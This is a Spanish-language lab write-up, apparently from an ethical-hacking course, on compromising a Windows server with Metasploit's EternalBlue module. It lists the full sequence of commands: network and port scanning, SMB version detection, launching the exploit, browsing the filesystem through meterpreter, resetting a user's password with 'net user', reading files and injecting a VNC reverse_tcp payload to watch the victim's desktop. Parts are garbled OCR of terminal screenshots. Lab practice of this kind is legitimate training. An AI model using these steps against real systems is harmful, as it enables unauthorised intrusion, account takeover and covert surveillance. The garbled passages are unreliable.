Practica 6 - METASPLOIT + EternalBlue

EternalBlue desde la perspectiva del hacking ético y la ciberseguridad.
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Verificar la IP y el Adaptador de red ifconfig Escaneo de los equipos que estan conectados a la red sudo
arp-scan -l ethO —localnet




Dispositivos conectados
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Escaneo de todos los puertos que estan conectados al equipo 100 sudo nmap -sv 192.168.1.100
Vulnerar el equipo 100, utilizando el siguiente comando

msfconsole

con metasploit se hace una busqueda del comando smb

search smb scanner

para ver qué version se tiene instalado y comprobar que la version instalado es vulnerable
(24 es la version)

use 24

show options

en este caso solo se

requiere el host del equipo

a atacar

set rhosts 192.168.1.100

exploit



kali@alc -
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kali@kali: ~
Session Actions Edit View Help

NO . sion Plpe Auditor
SCanner/smb/pipe_dcerpc_auditor
normal No n Pipe DCERPC Auditor
auxiliary/Scanner/smb/smbd
normal No )are Enumeration
auxiliary/SCanner/smb/smll enumusers
normal No SMB User Enumeration (SAM EnumlUsers

auxiliary/scanner/smb/smb
normal No
auxiliary/ScCanner/snmp/snmp_enun
NoO SNMP Win S Share Enumeration
auxiliary/Scanner/smb/smb unini

normal ‘ 1etr ServerPas ordSet Unini

ized Credential ‘r!lntv:

liary/Scanner/smb/ impacket /wmiexec
No WMI Exec

Interact with a ( e by name or index. For example

kali@kals ~
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Interact with a module by name or index. For example

) > show options
Module options (auxiliary/scanner/smb/smb version):
Name Current Setting Required
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*w the full module info with the

auxiliaryl




View the full module info with the 0 command.

msf auxili:

) > exploit
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se completa correctamente y se determina el SMB la version 1y 2

al identificar que la version que tiene el windows server es vulnerable se utilizara estos
comando

back

search eternalblue (buscaremos la vesiion de eternal blue necesitaremos)

use 0

show options

set rhosts 192.168.1.100
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Exploit targ

module info with the command.

rhosts =

nsf exploit(

exploit
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meterpreter > I



pwd

cd ..

pwd (identificar la ruta en la que estamos)
Is

cd ..

meterpreter > pwd
C:\Windows\system32
meterpreter > cd ..
meterpreter > pwd

C:\Windows

meterpreter > 1s
Listing: C:\Windows

cd Users (ver los usuario que tenemos)

Is

shell (simula estar con los comandos propios de windows)
net user

cambiar contrasefia al usuario

net user NombreCuenta ContraCuenta

Nos vamos a la maquina y enviamos un control alt delete y colocamos la contrasefia, ya
tenemos acceso de forma fisica.

para tener acceso de forma de ataque

cd..

dir

cd FTP

dir

back

exit



pwd

cd ..

pwd

cd FTP

Is

cat NombreArchivo.txt (vemos lo que contiene ese archivo)
back

exit

espejo del escritorio de la computadora atacada

set payload windows/x64/vncinject/reverse_tcp

exploit

Una vez se termine el exploit se abre otra ventana donde se ve lo que se hace en el

servidor original.



